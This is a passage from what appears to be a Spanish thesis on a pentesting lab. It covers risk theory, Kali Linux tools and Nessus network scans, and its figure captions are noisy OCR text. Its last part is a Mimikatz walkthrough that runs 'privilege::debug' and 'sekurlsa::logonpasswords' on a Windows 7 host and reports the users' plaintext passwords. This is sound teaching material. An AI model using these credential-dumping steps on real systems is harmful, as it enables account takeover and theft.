Segun Dion (2020), las personas o entidades que intentan infiltrarse e
interrumpir su red o negocio pueden clasificarse como las amenazas mas
criticas.

Amenaza accidental:

Los incidentes de seguridad se producen cuando se comete un error
gue amenaza la seguridad del sistema. Estos eventos pueden prevenirse al
establecer y comunicar de manera efectiva los procedimientos operativos.

e Amenaza Estructural:

Los incidentes relacionados con la disponibilidad surgen cuando se

producen fallos en los equipos, el software o los controles fisicos.
e Amenaza Ambiental:

Los eventos naturales pueden desencadenar situaciones que afecten
a la disponibilidad. Estas contingencias pueden ser abordadas a través de la
implementacion de sistemas altamente disponibles. (Dion, 2020)

2.9.5 Riesgo

E-SPIN (2019) dice que un riesgo depende de la presencia tanto de
vulnerabilidad como de amenaza, ya que sin estos factores no hay posibilidad
de que una amenaza se materialice, tal como se muestra en la figura 13.

Figura 13. Componentes de un riesgo

(X

Nota: Elaboracion propia del autor.
2.9.6 Gestion de Riesgos.

Para alinearse con su mision y vision, es crucial que cualquier empresa
incluya la minimizacién de riesgos como uno de sus obijetivos al seleccionar

un proceso apropiado para sus diversas funciones operativas.
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Segun (Dion, 2020) el riesgo se puede:
e Aceptar:

En los casos en que el nivel sea lo suficientemente bajo como
para hacer innecesarias las contramedidas, o si ya se han
implementado contramedidas adecuadas (Dion, 2020)

e Transferir:

En caso de que la organizacion carezca de los medios
econoémicos para aceptar, evitar o reducir el riesgo, tiene la opcién de
transferirlo a una compafiia de seguros (Dion, 2020)

e Mitigar:

Reducir el nivel de riesgos a un nivel aceptable mediante la
implementacion de medidas adicionales de control de riesgos (Dion,
2020)

e Evitar:

Para mitigar el alto riesgo involucrado, se altera la configuracion
o el disefio del sistema para prevenir las posibles consecuencias
asociadas a una vulnerabilidad especifica, impactando asi sus aspectos

operativos (Dion, 2020).

2.9.7 Tipos de Riesgo.

Segun Dion (20020) dentro de una organizacién, existen cinco

categorias distintas que definen diferentes tipos de riesgos:

e Riesgo Estratégico:
La consecuencia de trabajar en una industria particular en un
momento dado se manifiesta al formar colaboraciones estratégicas en

el ambito empresarial.

e Riesgo de Cumplimiento:
Surge a raiz de la falta de cumplimiento de las leyes y
regulaciones gubernamentales.

e Riesgo financiero:
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Esta relacionado con aspectos financieros y presupuestarios,

generalmente asociados a cuestiones monetarias.
e Riesgo Operacional:

Se origina debido a fallos internos en los procesos, en las

personas o en los sistemas internos de la organizacion.
e Riesgo Reputacional:

Implica la posibilidad de que la imagen y la confianza en una
empresa o0 comunidad se vean afectadas negativamente debido a
problemas con los productos, litigios legales o una mala publicidad. La
reputacién es un activo que se construye con esfuerzo a lo largo del

tiempo, pero puede perderse en un corto periodo. (Dion, 2020)
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CAPITULO 3
INSTALACION DE HERRAMIENTAS ADICIONALES

3.1 Kali Linux

Es un proyecto iniciado en 2012 que convierte el venerable proyecto
BackTrack Linux, donde Offensive Security se administraba manualmente, en
un verdadero derivado de Debian con todas las mejoras necesarias de
infraestructura y paquetes. Comenz6 cuando decidi reemplazarlo con Kali
Linux es conocido por su calidad, estabilidad y amplia disponibilidad de
software, por lo que se decidi6 construirlo en la distribucion Debian. (Reydes,
2019) Kali Linux utiliza un sistema operativo disefiado especificamente para
ejecutar diversas funciones de seguridad, que incluyen, entre otras, analisis
de red, ataques a redes inalambricas, andlisis forense y otras tareas de
seguridad esenciales.

Kali tiene instaladas alrededor de 600 herramientas de prueba de
penetracién, incluidas todo tipo de aplicaciones. Si, siempre nos enfocamos
en problemas informaticos, vulnerabilidades y hacks. Como tal, Kali no es una
distribucion destinada al uso diario por parte del usuario promedio. Debido a
que se enfoca en temas de seguridad informética, generalmente tiene un
nicho en empresas de seguridad y profesionales de la programacion (incluidos
los piratas informaticos) (Jesus, 2022).

Eso no significa que las personas con poco conocimiento no puedan
instalar y usar Kali. Sin embargo, comprender las herramientas y como usarlas
correctamente lleva tiempo. Les dejo brevemente la lista de pros que suelen
preferir Kali Linux (Jesus, 2022).

e Administradores de seguridad y red,;
e CISO

e Indagacién de seguridad

e Ingeniero forense

e Hacker de sombrero blanco y negro

e Experto en informéatica o aficionado.
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3.1.2 Herramientas en Kali Linux y funciones.

Kali Linux incluye una amplia gama de herramientas disefiadas para
fines de seguridad y pruebas de penetracion. A continuacion se enumeran
algunas de las herramientas esenciales que se pueden encontrar dentro del

marco de Kali Linux:

Nmap: permite exploracion de redes empleada para cartografiar

redes y detectar dispositivos conectados.

Metasploit: un marco de explotacion utilizado para probar la

seguridad de sistemas y aplicaciones.

Wireshark: red que facilita la captura y examen del trafico en una

red.

Aircrack-ng: un conjunto de herramientas utilizadas para crackear
claves de Wi-Fi.

Burp Suite: una coleccion de herramientas de seguridad web que
abarca un proxy de intercepcion, un escaner de aplicaciones web y otras
funcionalidades.

Las herramientas expuestas anteriormente pueden ser utilizadas para
realizar tareas de seguridad informatica como la buUsqueda de
vulnerabilidades en redes y sistemas, la prueba de penetracién y la proteccién
de la informacion confidencial (Kali, 2023).

3.1.3 Razones por las cuales se deberia usar Kali Linux.

En el pasado, se consideraba que el sistema operativo Linux era mas
adecuado exclusivamente para servidores y no era ampliamente utilizado en
computadoras personales. Con el tiempo, ha experimentado una evolucién y
mejoras significativas. En la actualidad, Linux se ha vuelto facil de instalar y

puede desempefiar un papel similar al de cualquier otro sistema operativo.
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Ahora examinemos algunas razones por las cuales seria recomendable
utilizarlo.

e Menor riesgo. - Linux es un sistema operativo de codigo
abierto, lo cual implica que la comunidad de desarrolladores puede
ver y modificar el codigo fuente ademas de no depender de ninguna
empresa en caso de que se requiera soporte esto puede continuar
por largo tiempo ya que cualquiera puede contribuir por la inmensa
popularidad (Hernandez, 2021).

e Linux sin costo. - Se trata de un sistema operativo que se
encuentra totalmente libre de cargos y al alcance de cualquier
individuo. Debido a su naturaleza de cédigo abierto, ha desplazado
a UNIX como la eleccién predominante para servidores web. Tanto
pequeiias empresas como equipos de trabajo lo emplean con
regularidad. Ademas, es factible experimentar con diversas
distribuciones de Linux sin ningan costo y cambiar a otra si la primera
no satisface sus necesidades (Noel, 2022).

e Seguridad. - Es reconocido por su mayor nivel de
seguridad y fiabilidad en comparacion con otros sistemas operativos.
Dado que un extenso grupo de desarrolladores lleva a cabo
revisiones continuas en el cédigo, los sistemas Linux experimentan
menos problemas de seguridad. Por lo tanto, no se requiere la
instalacion de software antivirus para proteger su computadora de
amenazas como malware y virus. Gracias a su naturaleza de codigo
abierto, es posible examinar y verificar si existen vulnerabilidades en
el sistema (Zavala, 2020).

e Sin Spyware. - Asimismo, en Linux, los mecanismos de
seguimiento no resultan intrusivos ni incluyen datos personales o
confidenciales. La recopilacion de datos se lleva a cabo con la
finalidad de mejorar la experiencia del usuario y resolver cuestiones
técnicas. Los desarrolladores de Linux reconocen la importancia de

salvaguardar la privacidad y se esfuerzan por ser transparentes en
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cuanto a su politica de recoleccion de datos. Esta transparencia
brinda a los usuarios la confianza de que el sistema operativo utiliza
su informacién de manera adecuada y les permite comprender como
se emplea (Medina, 2022).

3.2 Herramientas utilizadas en Kali Linux.

Figura 14. Iniciando Kali Linux desde una VM.
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Nota. Elaboracion propia de autor.

Figura 15. Ingreso del user y el pass.
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Nota. Elaboracion propia de autor
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Figura 16. Entorno de Escritorio del Kali Linux

Nota. Elaboracion propia de autor.

Visualizaremos algunas herramientas, pero en este caso usaremos las

mas comunes.

3.2.1 Nmap.

Es una herramienta de cédigo abierto empleada para examinar redes
y llevar a cabo auditorias de seguridad. Utiliza paquetes de protocolo IP para
identificar qué dispositivos estan presentes en una red, los servicios que
ofrecen, el sistema operativo que utilizan y otros datos relevantes. Muchos
administradores de redes también encuentran que Nmap es valioso para sus
tareas diarias. La salida generada por Nmap es un registro de los objetivos
analizados, acomparfado de detalles adicionales sobre cada uno, como una
“"tabla de puertos de interés" que muestra el nimero de puerto, el protocolo,
el nombre comun del servicio y su estado. Ademas de la tabla de puertos,
Nmap puede proporcionar informacion suplementaria, incluyendo el nombre
DNS, el sistema operativo, el tipo de dispositivo y la direccion MAC (Nmap,
2023).

53



Figura 17.Nmap en la barra de busqueda

FEYFERIT T

3.3 Instalacion de Nessus en Kali Linux

Después de configurar el entorno de trabajo, la instalacion de Nessus
se llevara a cabo descargando el software desde el sitio web oficial de Tenable
y optaremos por la version gratuita 'Essentials’, con la limitacion de escanear
solo 16 direcciones IP este proceso implica registrarse en el sitio web y
esperar un codigo de activacion que llegara al correo, que sera necesario
durante la instalacion.

Abrimos nuestro sistema Kali Linux para luego ingresar a la web para
buscar el recurso adecuado para nuestro sistema.

Figura 18.Inicio sistema Kali

Nota. Elaboracion propia de autor.

54



Luego entramos a la pagina web para poder bajar el archivo
correspondiente ya que la misma detecta automaticamente cuél es el sistema
gue tienes y que version puedes instalar en este caso vemos que el sistema

operativo es Linux, tal como se muestra en la figura 19.

Figura 19.Pagina web Tenable Nessus

Tenable Nessus

' Download and Install Nessus Summary

Checus Downlosd Reinens Dute

Versise Eolenas Hotes

Ligring Keyr

@ Demricsd

Start and Setup Nessus

* Getting Started

Nota. Elaboracion propia de autor.

Verificamos la carpeta donde lo bajamos el instalador y luego desde el
terminal de Kali Linux empezamos a instalarlo, tal como se muestra en la
figura 20.

Figura 20.Instalando Nessus desde Kali.
kali@kali: ~/Downloads

File Actions Edit View Help

Downloads

- ~/Downloads

"Art.+Vol.+4+N.+1+(2020)+(b)+LS.pdf"’

~/Downloads
INessus-10.6.3-ubuntul404_amd64.deb

Nota. Elaboracion propia de autor.
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Vemos que luego que después de haber instalado hay que inicializar el

servicio, tal como se muestra en la figura 21.

Figura 21.Verificando la instalacion del Nessus.

~/Downloads

sudo Nessus-10.6.3-ubuntul404_amd64.deb
[sudo] password for kali:
(Reading database ... 398946 files and directories currently installed.)
Preparing to unpack Nessus-10.6.3-ubuntul4@4_amd64.deb
Unpacking nessus (10.6.3) over (10.6.3)
Setting up nessus (10.6.3) ...

: (Module_Integrity) : Pass

: (KAT_Digest) : Pass

: (KAT_Digest) : Pass

: (KAT_Digest) : Pass

: (KAT_Cipher) : Pass
AES_GCM : (KAT_Cipher) : Pass
AES_ECB_Decrypt : (KAT_Cipher) : Pass

: (KAT_Signature) : RNG : (Continuous_RNG_Test) : Pass

: (PCT_Signature) : Pass
: (PCT_Signature) : Pass
: (PCT_Signature) : Pass
TLS13_KDF_EXTRACT : (KAT_KDF) : Pass
TLS13_KDF_EXPAND : (KAT_KDF) : Pass
TLS12_PRF : (KAT_KDF) : Pass
PBKDF2 : (KAT_KDF) : Pass
: (KAT_KDF) : Pass
: (KAT_KDF) : Pass
: (KAT_KDF) : Pass
: (KAT_KDF) : Pass
: (KAT_KDF) : Pass
: (KAT_KDF) : Pass
: (DRBG) : Pass
: (DRBG) : Pass
HMAC : (DRBG) : Pass
DH : (KAT_KA) : Pass
ECDH : (KAT_KA) : Pass
RSA_Encrypt : (KAT_AsymmetricCipher) : Pass
RSA_Decrypt : (KAT_AsymmetricCipher) : Pass
RSA_Decrypt : (KAT_AsymmetricCipher) : Pass
INSTALL PASSED
Unpacking Nessus Scanner Core Components ...

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.servic

Nota. Elaboracion propia de autor.
Inicializamos el servicio de Nessus con “sudo service nessusd start”

para luego entrar a configurar, tal como se muestra en la figura 22.

Figura 22.Activamos el servicio de Nessus
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- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
- Then go to https://kali:8834/ to configure your scanner

~/Downloads
nessusd startf]

Nota. Elaboracion propia de autor
Entramos a una pégina del explorador web e ingresamos el

https://kali:8834 para poder inicializar y configurar el Nessus, con nuestro

usuario y contrasefa, tal como se muestra en la figura 23.
Figura 23.Ingreso del usuario para configurar el Nessus.

Nota. Elaboracion propia de autor.

3.3.1 Documentacion e instalacién de las herramientas usadas.

En esta seccion, analizaremos las herramientas externas utilizadas
para explotar vulnerabilidades.

La inicial herramienta que emplearemos es Mimikatz, la cual fue creada
en el afio 2011 por Benjamin Delpy con la intencion original de ser una utilidad
para detectar debilidades en los protocolos de atague de Windows. No
obstante, con el tiempo, esta aplicacién se transformé en una herramienta de
atague con un alto potencial de eficacia contra sistemas Windows.

Mimikatz nos posibilité la adquisicion de todas las contrasefias robustas

de un sistema, ademas de los hashes de las contrasefias almacenados en la
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memoria. Aprovecho la funcionalidad de inicio de sesion unico de Windows

para sustraer las contrasefas almacenadas.

De manera predeterminada, Windows solia utilizar WDigest para
almacenar en la memoria todas las contrasefias de usuario del sistema de
forma cifrada, incluyendo la clave secreta necesaria para descifrarlas. Fue en
este punto donde Mimikatz intervino para obtener estas contrasefias.

En la actualidad, Windows ha desactivado la funcién de WDigest de
manera predefinida, pero aun permanece integrada en los sistemas
operativos de Microsoft. Esto representa una potencial amenaza, ya que un
atacante que tenga acceso al sistema podria reactivarla y utilizar Mimikatz
para recuperar todas las contrasefas.

Este software es de codigo abierto y puede descargarse del siguiente

repositorio de GitHub: https://github.com/gentilkiwi/mimikatz/releases

Una vez dentro descargamos el archivo ‘mimikatz_trunk.zip’, tal como

se muestra en la figura 24.

Figura 24.Descarga de Mimikatz

2.2.0 20220919 Djoin parser & Citrix SSO Extractor

v Assets

-

Nota. Elaboracion propia de autor.
Luego de terminar la descarga descomprimimos el .zip, tal como se

muestra en la figura 25.

Figura 25.Descomprension del archivo mimikatz_trunk .rar
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Win32
*64
|| kiwi_passwords.yar
__| mimicom.idl
M mimikatz_trunk
|| README.md

Nota. Elaboracion propia de autor.

3.3.2 Metasploit: Herramienta de Penetraciéon y Desarrollo

Exploits

Metasploit constituye una plataforma robusta para realizar pruebas de
desarrollo y penetracion de exploits que proporciona a los profesionales de la
seguridad cibernética una suite integral para descubrir vulnerabilidades y
evaluar la seguridad de sistemas informaticos.

Inicialmente creado por H.D. Moore, Metasploit ha evolucionado para
establecerse como un referente en la industria para llevar a cabo pruebas de
penetracion.

Esta plataforma ofrece un extenso conjunto de herramientas, exploits,
payloads y mddulos que permiten a los profesionales simular ataques
cibernéticos en entornos controlados, con el objetivo de identificar y corregir
vulnerabilidades antes de que los actores maliciosos las exploten, su
capacidad para automatizar y agilizar el proceso de prueba de penetracién lo
ha convertido en una herramienta esencial para expertos en seguridad y

investigadores, tal como se muestra en la figura 26 (metasploit, 2023).

59



Figura 26.Metasploit ya instalado en las nuevas versiones de Kali.

Nota. Elaboracion propia de autor
CAPITULO 4
DETECCION, EXPLOTACION Y MITIGACION

4.1 Descripcion Experimental.

En esta seccion, detallaremos la implementacion practica del proyecto,
comenzando con la identificacién de los distintos hosts en la red. Después,
procederemos a analizar las vulnerabilidades presentes en cada equipo y, una
vez identificadas, las aprovecharemos utilizando Metasploit y Mimikatz. Por
altimo, realizaremos la aplicacion de parches en los sistemas
4.1.1 Escaneo de lared — Deteccion.

Comenzaremos por acceder a Nessus, para ello, abriremos el
navegador Google Chrome y escribiremos la siguiente direccion URL
(https://localhost:8834). Una vez dentro, procederemos a generar un nuevo
escaneo con el objetivo de identificar los dispositivos conectados a nuestra

red. Para esto, hacemos clic en la opcién que indica 'New Scan'.
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llustracion 1.— Creacion de escaneo

Llegamos a la pantalla donde estan todas las opciones y escogemos la
primera que es “Host Discovery”.

Ilustracion 2. — Seleccién de escaneo
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Dentro de la seccion de escaneo, se nos pedira que rellenemos varios
campos. Daremos un nombre y una descripcion al escaneo, ademas de
suministrar la direccion IP de la red que queremos analizar. Para abarcar toda

la red, especificamos la IP con la terminacion /24", indicando asi que, de los
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32 bits que conforman la direccién, los primeros 24 corresponden a la red. En
este caso, la red se identifica como 192.168.1.0/24.

llustracion 3. — Configuracion general

El siguiente apartado que debemos completar es el de notificaciones,
en este campo ingresaremos la direccion de correo electrénico a la cual se
enviaran los resultados de los andlisis..

llustracion 4.— Introduccion de correo

s o
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Después de completar los campos en la seccidén "Basic”, avanzamos a
la siguiente seccién denominada "Discovery". Aqui elegiremos el tipo de
escaneo que deseamos realizar. En esta ocasion, optamos por una deteccion

de hosts basica y marcamos la opcién "Host enumeration”.
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llustracion 5. — Tipo de escaneo: Host enumeration — Host discovery

Setungs

[ sea_|~]

En la seccion siguiente titulada 'Report’, mantendremos las
configuraciones predeterminadas proporcionadas por Nessus para este
escaneo. Estas configuraciones permiten que cualquier usuario de Nessus
pueda adaptar los resultados del escaneo a sus necesidades y ver todos los

dispositivos que respondan al ping.

llustracion 6.— Parametros de configuracion

Settings

BASIC

Output
DISCOVERY

v Allow users to edit scan re
REPORT

ADVANCED

EAE

En la seccion "Advanced" elegimos el periodo de espera que Nessus
permite para recibir una respuesta al ping de un host, la cantidad maxima de
verificaciones que se realizaran por host para validar la informacion y el
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namero maximo de hosts que se analizardn simultaneamente en cada

escaneo.
llustracion 7. — Parametros de configuracion avanzados

Luego de tener
configurado todos los
parametros del

=30
escaneo damos en "save" y ejecutamos yendo a la pestafiada de "My scan" y

le das al botén play.
llustracion 8. — Ejecucion del escaneo

Cuando presionamos el botdn play, podemos observar como comienza la
ejecucion

llustracion 9. — Progreso del escaneo

Una vez que el escaneo ha concluido, podemos acceder a él para
revisar toda la informacion recopilada. En la pestafia 'Hosts', en el lado

derecho, encontramos datos como el estado del escaneo, la fecha de inicio y
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finalizacion, asi como su duracién. En la esquina inferior derecha, observamos
un circulo que representa las vulnerabilidades y muestra el porcentaje de cada
tipo; en este caso, solo se presentan vulnerabilidades informativas, dado que
este tipo de escaneo se limita a enviar pings. En el lado izquierdo, se
enumeran todas las direcciones IP de los dispositivos detectados en nuestra

red, junto con los puertos abiertos asociados a cada uno.

llustracion 10.— Resultados del escaneo

En la pestafia "Vulnerabilidades", visualizamos un resumen completo
de todas las vulnerabilidades detectadas, si bien en esta ocasion se
presentaran unicamente dos de tipo informativo.

llustracién 11. — Pestafia vulnerabilidades
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Vuinerabilities 2

Cuando ingresamos a la primera vulnerabilidad de tipo informativo,

podemos ver la direccion IP del dispositivo al que se hace referencia en la
informacion, asi como todos los ajustes de configuracion que se aplicaron

durante la configuracion del escaneo.
llustracién 12.— Informacion del escaneo

Output

Hosts
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En la segunda vulnerabilidad de tipo informativo, se presenta una
descripcion acerca de los tipos de pings que fueron enviados para identificar
los dispositivos, junto con los que respondieron a estos pings. Asimismo, se
proporciona informacién acerca del hardware del equipo.

llustracion 13. — Informacién de los pings y los equipos

Vulnerabilities 2

INO P‘!l_.—;l? e remote host

Description

Output

Port - Hosts

Port . Hosts

En la pestaiia de "VPR Top Threats", se encuentra el "vulnerability priority
rating" (indice de prioridad de vulnerabilidades), el cual, en este escenario, no

se presenta.

llustracién 14.— VPR
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VPR Top Threats

el: None

Después de completar el escaneo previo utilizando "Host enumeration”,
es necesario realizar otro escaneo, pero esta vez cambiando la opciéon a "OS
identification" para identificar las direcciones IP correspondientes a
ordenadores. Se repiten los mismos procedimientos, ajustando los
parametros y proporcionando un nuevo nombre junto con la direccion IP de la
red.

llustracion 15. — Configuracion general — Host 2

Settings

BASIC

DISCOVERY
REPORT Folder My Scans -

ADVANCED

En la secciébn de "Discovery" ahora seleccionamos el tipo "OS
identification" para permitir que Nessus identifique cudles de las direcciones

IP detectadas corresponden a ordenadores.
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llustracion 16.— Tipo de escaneo: OS identification

Settings

BASIC
DISCOVERY

REPORT

ADVANCED

A continuacion, mantenemos la misma configuracién que se utilizé en
el escaneo anterior y procedemos a ejecutarlo. Después de que el escaneo
finaliza, accedemos a los resultados, donde podemos observar las direcciones
IP conectadas a nuestra red, asi como los puertos abiertos en cada sistema,
entre otros detalles.

llustracion 17. — Resultados del escaneo 2

Ahora en la pestafia de "Vulnerabilities" observamos una nueva, "OS"

identification.
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llustracion 18. — Vulnerabilidad — OS identification

Escaneo completo de la red

<

Vulnerabilities 3 VPR Top Threats History |

INFO OS Identification

En la nueva vulnerabilidad, encontramos detalles acerca del sistema operativo
gue esta instalado en los dispositivos, junto con su direccion IP. Ademas, se
incluye una breve descripcion que explica los métodos utilizados por Nessus

para determinar cual sistema operativo se trata

llustracién 19.— informacion sobre Windows P — Host Discovery 2
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B Os Identification

44444

Description

Jsing a combination of remot

se. It 15 also possible sometinr

Output

Port . Hosts

Ademas de la informacion sobre el sistema operativo y su version, en
el caso de Windows, también podemos visualizar otros detalles, como la
version del kernel instalado, con esto ya habriamos detectado que tenemos

equipos con Windows distintas versiones.
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llustracion 20. — Informacion sobre los sistemas detectados.

4.2

Busqueda

Port . Hosts

Port . Hosts

Port . Hosts

vulnerabilidades — Escaneo de lared.

de

Después de identificar las 4 direcciones IP que pertenecen a los ordenadores,

procederemos a realizar otro escaneo denominado "Advanced Scan" con el

objetivo de detectar todas las vulnerabilidades presentes en cada uno de

estos equipos. Para llevar a cabo este proceso, creamos un nUevo escaneo y

seleccionamos la opcion "Advanced Scan".
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llustracion 21. — Advanced Scan

Scanner

Host Discovery

! ::;:)

Basic Network Scan Advanced Scan

Ingresamos un nombre al escaneo que vamos a realizar para poder
identificarlo, ademas de proporcionar las 4 direcciones IP que identificamos

en el escaneo previo.
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llustracion 22— Configuracién general - Advanced Scan

Settings

BASIKC

DISCOVERY
ASSESSMENT
REPORT

ADVANCED

En este tipo de escaneo, tenemos la capacidad de ajustar los

parametros relacionados con el tipo de ping que deseamos emplear..

llustracion 23. — Host Discovery - Advanced Scan
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En la opcion de "Port Scanning" ajustaremos todos los parametros
relacionados con la deteccién de puertos.
llustracién 24. — Port Scanning - Advanced Scan

[ v -]

En la parte de ‘Service Discover”, activaremos diversas opciones para
permitir que el analizador de Nessus identifique qué servicio esta utilizando
cada puerto activo. También especificaremos qué tipo de tecnologia

preferimos que utilice para escanear los puertos.

llustracion 25.— Service Discovery - Advanced Scan

La proxima es ‘Identity’, pero no la habilitaremos porque esta disenada

para redes con un active directory implementado, en la seccion ‘Assessment’
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que sigue, hay opciones para ajustar ciertos parametros para un escaneo mas
detallado, pero también la dejaremos inactiva, ademas, existe la posibilidad
de ajustar el tiempo de demora para la comprobacion del software antivirus.
Por ultimo, encontramos la seccion SMTP, que puede emplearse para realizar
pruebas de envio de (spam).

llustracion 26. — Assessment - Advanced Scan

En la seccion ‘Brute Force’, seleccionaremos la opcion que indica que
proporcionaremos la contrasefa del equipo y que no se intentara descifrarla.

llustracion 27. — Brute force - Advanced Scan

Genweral Settings

v

Oracis Datsbiase

No habilitaremos la categoria 'Aplicaciones web', dado que no tenemos
ninguna aplicacion web que requiera ser sometida a un escaneo. En la seccion

'Windows', solo activaremos las diferentes técnicas de enumeracion de hosts
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proporcionadas por Nessus, mientras que dejaremos desactivadas las demas
opciones. Estas ultimas opciones se utilizan para consultar a los usuarios del
dominio en lugar de a los usuarios locales y para enumerar a los usuarios

mediante fuerza bruta utilizando el identificador RID.

llustracion 28— Windows - Advanced Scan

£ SCan f’:\l_‘" 5 ed SCarl
<
Settings
BASIC
General Settings
DISCOVERY
Request information about the SMB Domair
ASSESSMENT
User Enumeration Methods
3 v AM Reg
100
v AD 18y
t v 11 ( Pry
REPORT
RIDB cing
ADVANCED

mn '. :‘r Z?..-"

La seccidén 'Malware' se utiliza para instruir al sistema a buscar virus
especificos que puedan estar presentes en archivos cifrados en la
computadora, utilizando diversas tecnologias de cifrado como
MD5/SHA1/SHA256. En este caso, la mantendremos desactivada.

La seccién 'Databases' se emplea para indicar al escaner de Nessus

qgue intente autenticarse utilizando un nombre de usuario y contrasefia
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proporcionados al escaner en una base de datos conocida en la red.
Mantendremos esta seccion desactivada.

En la seccion 'Reporte’, activaremos las opciones que nos permitiran
visualizar los parches que han sido reemplazados y ocultar los resultados de
los complementos iniciados como dependencias. Ademas, mantendremos
seleccionada la opcién predeterminada, que permite que cualquier usuario

con acceso a Nessus pueda editar los resultados del escaneo.

llustracion 29.— Report - Advanced Scan

Settings

BASIC
Processing
DISCOVERY

ASSESSMENT
REPQAT

ADVANCED

Qutput

v

Dentro de la seccién "Advanced", perfeccionaremos aiun mas la
configuracion del escaneo al habilitar las opciones de escaneo seguro y la
generacion de un identificador Unico para cada host. También definiremos el
tiempo de espera de la red, el nimero de escaneos por host y la cantidad

maxima de escaneos simultdneos por host.
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llustracion 30. — Advanced - Advanced Scan

Untx find command Opticet

Detug Secnngs

Después, nos dirigimos a la pestafia "Credenciales", donde ingresamos tanto
el nombre de usuario como la contrasefia de cada equipo. Esto se debe a que
el escaneo se vuelve mas exhaustivo al contar con estos datos. Ademas, en
ausencia de esta informacion, podriamos verse obligados a llevar a cabo un
atague de fuerza bruta, que incluye una lista de nombres de usuario comunes

y sus contrasefias correspondientes.
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llustracion 31. — Credential Windows - Advanced Scan

A continuacién, en la seccién de "Complementos," seleccionaremos la
opcion de incluir todos los complementos en el escaneo, con el fin de que
analice todos los parametros en cada equipo.

llustracion 32. — Plugins - Advanced Scan

Después de haber concluido la configuracion de todos los parametros
en cada seccién del escaneo "Advanced Scan", procedemos ejecutarlo
haciendo clic en el botén de play. Este tipo de escaneo tiene un periodo de
ejecucion prolongado, por lo que se requiere paciencia durante el proceso.
Es aconsejable evitar sobrecargar la red con otros dispositivos mientras se
lleva a cabo el escaneo, ya que podria generar falsos positivos debido a los

paguetes no deseados.
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llustracion 33. — Progreso del escaneo - Advanced Scan

Una vez completado el escaneo, lo primero que se observa son barras
horizontales que muestran la cantidad de vulnerabilidades de cada tipo en
cada equipo, junto con la direccién IP de cada equipo visible en el lado
izquierdo. En el lado derecho, se pueden consultar los detalles del escaneo,
como el tipo de escaneo realizado, su estado (que se puede seguir en tiempo
real mientras se analizan los diferentes equipos), el CVSS (Sistema de
Puntuacion de Vulnerabilidades Comunes) que proporciona una puntuacion y
permite estimar el impacto de las vulnerabilidades, el escaner, la fecha y hora
de inicio del escaneo, la fecha y hora de finalizacion del escaneo, asi como su
duracion.

Justo debajo de esta informacion, se encuentra un gréfico circular que
representa las vulnerabilidades. En este gréfico, se muestran distintos niveles
de gravedad de las vulnerabilidades, que abarcan desde menor hasta mayor,
como Informativa, Baja, Media, Alta y Critica. Por dltimo, también se presenta

el porcentaje de cada nivel de gravedad en el escaneo realizado.
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llustracion 34. — Visualizacion de resultados - Advanced Scan

En la pestafia de "vulnerabilities”, se encuentra un resumen
consolidado de todas las vulnerabilidades organizadas en orden descendente
de gravedad en todos los equipos escaneados. Si accedemos a cada una de
estas vulnerabilidades, podemos obtener informacion detallada sobre ellas y
como abordar su solucion.

llustracion 35. — Pestaria Vulnerabilities - Advanced Scan

En la pestafia "Remediations"”, se encuentran todas las posibles
acciones que debemos tomar para gestionar la correccion de las

vulnerabilidades en cada uno de los equipos.
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llustracion 36. Pestafia Remediations - Advanced Scan

En la seccion "VPR Top Threats", se muestra la clasificacion de las
vulnerabilidades segun el sistema patentado de "Clasificacién de Prioridad de
Vulnerabilidades" (VPR) de Tenable. Cada vulnerabilidad incluye una guia

qgue ayuda a evaluar el riesgo para nuestro sistema.

llustracién 37. — Pestaria VPR - Advanced Scan

@)

Dentro del correo electrénico, encontramos un resumen informativo del
resultado del escaneo. En este resumen, se detalla el nimero de
vulnerabilidades de cada tipo y el total por equipo. Ademas, se incluye un
listado de las acciones que deben ser implementadas para mitigar las

vulnerabilidades.
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llustracion 38. — informe al correo - Advanced Scan

nessus

4.3 Explotacion de vulnerabilidades y anélisis.

En esta parte analizaremos los resultados que se obtuvo anteriormente
y explotaremos varias vulnerabilidades.

4.3.1 Mimikatz.

Uno de los principales problemas relacionados con Windows es tener
habilitada la funcién WDigest para el almacenamiento de contrasefias, ya que
esta guarda en todo momento una copia en texto plano de las contrasefias de
los usuarios que estan en el sistema. Aqui es donde se presenta la
vulnerabilidad en el sistema. Luego de llevar a cabo el escaneo en un equipo
con Windows 7, identificamos esta vulnerabilidad y dentro de la misma
podemos acceder a informacién detallada sobre ella, asi como un enlace a la
pagina de Tenable con informacion adicional.

llustracion 39. — WDigest

| =
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Después de confirmar la presencia de esta vulnerabilidad en el sistema,
podemos proceder a utilizar Mimikatz para extraer las contrasefias de todos
los usuarios que han sido creados en el equipo..

[llustracion 40.— mimikatz.exe

NOMDTre

3, mimidrv.sys
2/ mimikatz
%, mimilib.dll

%, mimispool.dll

Luego de ejecutar el .exe se nos abre la terminal del exploit
llustracion 41. — Terminal mimikatz

2 vkt 220 Wb (0e o)

nuuny 3 . 19 2 > »
na T n A L >

o un X

ay "

ne v Hu
‘HNNnn

vimihat "

En este paso, enviamos el comando "privilege:debug" para verificar los
privilegios disponibles en la terminal. Cuando recibimos la respuesta "Privilege

"20" OK", confirma que hemos obtenido el control de la terminal y podemos
continuar con la secuencia de comandos.

llustracién 42. — comando privilege::debug

& mimikatz 2.2.0 364 (oe.e0)

MRS, minika 2.8 (x 9041 Sep 19 2022 -
. "N La
uit
ni

TITLR

vinikate

B privilege::dobu
Privilege

!
28" 0N
vimikate 0
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Enviamos el comando "sekurlsa:logonpasswords” con el fin de
visualizar toda la informacion almacenada en la memoria, lo que incluye las
contrasefias de todos los usuarios..

llustracion 43. — comando sekurlsa::logonpasswords

</ mimikatz 2.2.0 x64 (ce.eo0) | |nE

unun. nimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08

At ud. YA La Vie, A L’Amour' - C(oe.eo)

#t ~ \ ## e Benjamin DELPY ‘gentilkiwi' ¢ benjamin@gentilkiwi.com )

# N\ 2 un > https://blog.gentilkivi.con/minikatz

‘HE v HR’ Uincent LE TOUX ¢ vincent.letouxPgmail.com )
‘uunun’ > https://pingcastle.com 7/ https://mysmartlogon.com e/

imikatz # privilege::debhug
Privilege ’28’ OK

imikatz # sekurlsa::logonpasswords

Como resultado, se muestran las siguientes dos imagenes en las
cuales podemos encontrar todos los detalles acerca de los usuarios
registrados en el sistema, asi como la informacion del equipo. Observamos
que el equipo con Windows 7 tiene tres usuarios. El primero es el
Administrador con la contrasefia ‘admin’, el segundo es Juan con la
contrasefa ‘Juan1234’, jy el tercero es admin con la contrasena
“12Admin34!"..

